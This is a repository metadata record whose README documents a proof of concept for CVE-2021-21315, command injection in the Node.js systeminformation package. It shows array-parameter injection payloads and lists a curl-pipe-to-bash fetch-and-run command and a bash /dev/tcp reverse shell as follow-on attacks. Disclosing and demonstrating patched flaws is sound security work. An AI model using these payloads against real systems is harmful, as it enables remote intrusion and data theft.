{"id":13843574,"url":"https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC","last_synced_at":"2025-07-11T19:32:16.970Z","repository":{"id":122103017,"uuid":"343523383","full_name":"ForbiddenProgrammer/CVE-2021-21315-PoC","owner":"ForbiddenProgrammer","description":"CVE 2021-21315 PoC","archived":false,"fork":false,"pushed_at":"2021-06-09T13:27:20.000Z","size":681,"stargazers_count":154,"open_issues_count":0,"forks_count":25,"subscribers_count":9,"default_branch":"master","last_synced_at":"2024-08-05T17:38:04.008Z","etag":null,"topics":["cve","cybersecurity","infosec","injection","nodejs","offensive-security","pentesting","proof-of-concept","redteaming","research","vulnerabilities","vulnerability"],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ForbiddenProgrammer.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null}},"created_at":"2021-03-01T18:52:41.000Z","updated_at":"2024-06-23T02:50:28.000Z","dependencies_parsed_at":null,"dependency_job_id":"0bfb5e93-4d61-42be-b57f-9765b09d9a75","html_url":"https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ForbiddenProgrammer%2FCVE-2021-21315-PoC","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ForbiddenProgrammer%2FCVE-2021-21315-PoC/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ForbiddenProgrammer%2FCVE-2021-21315-PoC/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ForbiddenProgrammer%2FCVE-2021-21315-PoC/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ForbiddenProgrammer","download_url":"https://codeload.github.com/ForbiddenProgrammer/CVE-2021-21315-PoC/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225755034,"owners_count":17519189,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve","cybersecurity","infosec","injection","nodejs","offensive-security","pentesting","proof-of-concept","redteaming","research","vulnerabilities","vulnerability"],"created_at":"2024-08-04T17:02:14.116Z","updated_at":"2024-11-21T15:31:09.538Z","avatar_url":"https://github.com/ForbiddenProgrammer.png","language":"JavaScript","funding_links":[],"categories":["JavaScript"],"sub_categories":[],"readme":"# CVE-2021-21315-systeminformation\nThis is Proof of Concept for [CVE-2021-21315](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21315) which affects The System Information Library for Node.JS (npm package \"systeminformation\"). [npmjs.com/systeminformation](https://www.npmjs.com/package/systeminformation)\n\n\"be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected. \"\n\nBecause it's not well explained vulnerability (in my opinion), i decided to code small app basing on vulnerable version of systeminformation.\nThe PoC contains:\n1) Test app made in Node.js, using express and vulnerable systeminformation\n2) Simple testing payload to create .txt file on affected machine\n\nSteps to reproduce:\n1) Run application on Linux server environment\n2) Make GET request to site.com/api/getServices?name=nginx (nginx is just example)\n![obraz](https://user-images.githubusercontent.com/72838191/109575455-223c8d00-7af2-11eb-92fa-f242d0e74947.png)\n3) Now try to send request like this: yoursite.com/api/getServices?name=$(echo -e 'Sekurak' \u003e pwn.txt)\n![obraz](https://user-images.githubusercontent.com/72838191/109575807-d3dbbe00-7af2-11eb-8c83-5129e5cdb762.png)\n\nThis will fail, because of string sanitization:\n![obraz](https://user-images.githubusercontent.com/72838191/109575891-fcfc4e80-7af2-11eb-9b9d-86a5cae803f6.png)\n\nAs said in CVE details \"sanitization works as expected, reject any arrays [...]\"\n\n4) Now try to send request: yoursite.com/api/getServices?name[]=$(echo -e 'Sekurak' \u003e pwn.txt)\n![obraz](https://user-images.githubusercontent.com/72838191/109576285-cbd04e00-7af3-11eb-8ac3-2432e23721e6.png)\nThis time, if you take a look at \"name\" value, it was not sanitized - success ! Let's see if command was executed\n\n![obraz](https://user-images.githubusercontent.com/72838191/109576497-21a4f600-7af4-11eb-85a1-3610c25edbee.png)\n\nSuccess! Our command got executed. \nOf course no one cares about \"pwn.txt\", but potential attacker can:\n1) Upload internal files, like index.js (core of our application, with potential api keys, database connection string and others) or other\n2) Download and execute scripts - curl -s http://server/path/script.sh | bash /dev/stdin arg1 arg2\n3) Reverse shell - bash -i \u003e\u0026 /dev/tcp/10.0.0.1/4242 0\u003e\u00261\n4) Kill processes (you can kill our test node application aswell)\n5) Even more evil things....\n\n\"Command injection\" sounds innocent, but it may have huge impact if certain conditions are meet\n\nProblem was fixed in version 5.3.1 of \"systeminformation\"\nCredits to https://www.huntr.dev/users/EffectRenan (He found vulnerability, however in my opinion, his \"Poc\" did not show real world impact)\n\nAlso, do not heist to use this PoC in some CTF's but would be cool if you will credit author of finding - EffectRean and poc creator - me, cheers!\n\n# Disclaimer\nThis project can only be used for educational purposes. Using this software against target systems without prior permission is illegal, and any damages from misuse of this software will not be the responsibility of the author.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FForbiddenProgrammer%2FCVE-2021-21315-PoC","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FForbiddenProgrammer%2FCVE-2021-21315-PoC","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FForbiddenProgrammer%2FCVE-2021-21315-PoC/lists"}